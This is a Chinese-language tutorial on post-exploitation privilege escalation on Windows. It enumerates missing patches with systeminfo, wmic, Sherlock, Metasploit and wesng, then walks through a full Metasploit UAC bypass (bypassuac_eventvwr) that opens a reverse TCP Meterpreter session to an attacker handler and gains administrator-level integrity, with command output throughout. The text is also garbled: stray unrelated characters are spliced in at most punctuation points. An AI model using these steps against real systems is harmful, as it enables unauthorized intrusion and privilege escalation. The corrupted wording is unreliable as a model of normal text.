0娄帖、前言
在內(nèi)網(wǎng)中,往往所有主機打補丁的情況都是相似的昙楚,因此在拿下一臺主機權(quán)限后近速,可以通過查看當(dāng)前主機打補丁的情況,從而找到漏洞利用點桂肌,進而進行接下來的橫向数焊、提權(quán)等操作。
1崎场、手工發(fā)現(xiàn)缺失補丁
systeminfo
直接運行 systeminfo 命令佩耳,在「修補程序」(英文:Hotfix(s) )處可以看到已安裝的補丁。
C:\Users\teamssix> systeminfo
……內(nèi)容過多谭跨,此處省略……
修補程序: 安裝了 2 個修補程序干厚。
[01]: KB2999226
[02]: KB976902
……內(nèi)容過多李滴,此處省略……
wmic
運行以下命令,同樣可以看到當(dāng)前系統(tǒng)打補丁的情況蛮瞄,顯示的信息比 systeminfo 更詳細(xì)直觀所坯。
wmic qfe get Caption,Description,HotfixID,InstalledOn
C:\Users\teamssix>wmic qfe get Caption,Description,HotfixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2999226 Update KB2999226 11/26/2020
http://support.microsoft.com/?kbid=976902 Update KB976902 11/21/2010
知道了系統(tǒng)安裝了哪些補丁,也就能反推出系統(tǒng)可能存在的漏洞了挂捅。
2芹助、自動發(fā)現(xiàn)缺失補丁
Sherlock 腳本
Sherlock 是一個在 Windows 下能夠快速發(fā)現(xiàn)目標(biāo)系統(tǒng)可能存在可被用于提權(quán)的漏洞的 PowerShell 腳本。
Sherlock 項目地址:https://github.com/rasta-mouse/Sherlock
導(dǎo)入腳本
Import-Module .\Sherlock.ps1
Sherlock 命令
Find-ALLVulns 搜索所有未安裝的補丁
Find-MS16032 搜索單個漏洞
Metasploit
在已經(jīng)獲取到目標(biāo)會話后闲先,比如這里的會話 Seesion ID 為 1状土,使用 post/windows/gather/enum_patches 模塊可直接查看當(dāng)前系統(tǒng)補丁信息。
msf6 exploit(multi/handler) > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > set session 1
session => 1
msf6 post(windows/gather/enum_patches) > run
[+] KB2999226 installed on 11/26/2020
[+] KB976902 installed on 11/21/2010
[*] Post module execution completed
或者使用 MSF 發(fā)現(xiàn)目標(biāo)可用提權(quán)漏洞伺糠,然后進行提權(quán)
首先查看下當(dāng)前會話權(quán)限
msf6 post(windows/gather/enum_patches) > sessions 1
[*] Starting interaction with 1...
meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 6 created.
組信息
-----------------
組名 類型 SID 屬性
====================================== ====== ============ ==============================
Everyone 已知組 S-1-1-0 必需的組, 啟用于默認(rèn), 啟用的組
BUILTIN\Administrators 別名 S-1-5-32-544 只用于拒絕的組
BUILTIN\Users 別名 S-1-5-32-545 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\INTERACTIVE 已知組 S-1-5-4 必需的組, 啟用于默認(rèn), 啟用的組
控制臺登錄 已知組 S-1-2-1 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\Authenticated Users 已知組 S-1-5-11 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\This Organization 已知組 S-1-5-15 必需的組, 啟用于默認(rèn), 啟用的組
LOCAL 已知組 S-1-2-0 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\NTLM Authentication 已知組 S-1-5-64-10 必需的組, 啟用于默認(rèn), 啟用的組
Mandatory Label\Medium Mandatory Level 標(biāo)簽 S-1-16-8192 必需的組, 啟用于默認(rèn), 啟用的組
可以看到當(dāng)前權(quán)限為 Medium Mandatory Level蒙谓,即普通權(quán)限
我們使用 post/multi/recon/local_exploit_suggester 模塊檢測下當(dāng)前系統(tǒng)可利用的提權(quán)漏洞
meterpreter > background
[*] Backgrounding session 1...
msf6 post(windows/gather/enum_patches) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 172.16.214.4 - Collecting local exploits for x86/windows...
[*] 172.16.214.4 - 38 exploit checks are being tried...
[+] 172.16.214.4 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[*] Post module execution completed
可以看到提示存在 exploit/windows/local/bypassuac_eventvwr 模塊可被利用
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > run
[*] Started reverse TCP handler on 10.101.22.38:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 172.16.214.4
[*] Meterpreter session 2 opened (10.101.22.38:4444 -> 172.16.214.4:49160) at 2021-07-06 15:38:08 +0800
[*] Cleaning up registry keys ...
meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 1 created.
組信息
-----------------
組名 類型 SID 屬性
==================================== ====== ============ ==========================================
Everyone 已知組 S-1-1-0 必需的組, 啟用于默認(rèn), 啟用的組
BUILTIN\Administrators 別名 S-1-5-32-544 必需的組, 啟用于默認(rèn), 啟用的組, 組的所有者
BUILTIN\Users 別名 S-1-5-32-545 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\INTERACTIVE 已知組 S-1-5-4 必需的組, 啟用于默認(rèn), 啟用的組
控制臺登錄 已知組 S-1-2-1 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\Authenticated Users 已知組 S-1-5-11 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\This Organization 已知組 S-1-5-15 必需的組, 啟用于默認(rèn), 啟用的組
LOCAL 已知組 S-1-2-0 必需的組, 啟用于默認(rèn), 啟用的組
NT AUTHORITY\NTLM Authentication 已知組 S-1-5-64-10 必需的組, 啟用于默認(rèn), 啟用的組
Mandatory Label\High Mandatory Level 標(biāo)簽 S-1-16-12288 必需的組, 啟用于默認(rèn), 啟用的組
可以看到,使用 exploit/windows/local/bypassuac_eventvwr 模塊直接將目標(biāo)權(quán)限提升到了 High Mandatory Level训桶,即管理員權(quán)限累驮,這里可以說 MSF 很方便了。
wesng
wesng 被稱為 Windows Exploit Suggester 的下一代舵揭,wesng 和 Windows Exploit Suggester 的使用方法基本一致谤专,但 wesng 所支持的操作系統(tǒng)更豐富,不過實測 wesng 還未支持 Windows 11 『手動狗頭』
wesng 的安裝方法也很簡單
git clone https://github.com/bitsadmin/wesng.git
cd wesng
python wes.py --update
使用起來也很簡單琉朽,直接在目標(biāo)主機上運行以下命令毒租,將 systeminfo 的信息保存到 txt 中。
systeminfo > info.txt
直接使用 wesng 即可
python wes.py info.txt
使用 wesng 可以直接看到目標(biāo)主機可能存在的 CVE 漏洞箱叁,從而便于我們有針對性的利用這些漏洞。
原文鏈接:
https://teamssix.com/year/210706-155005.html參考文章: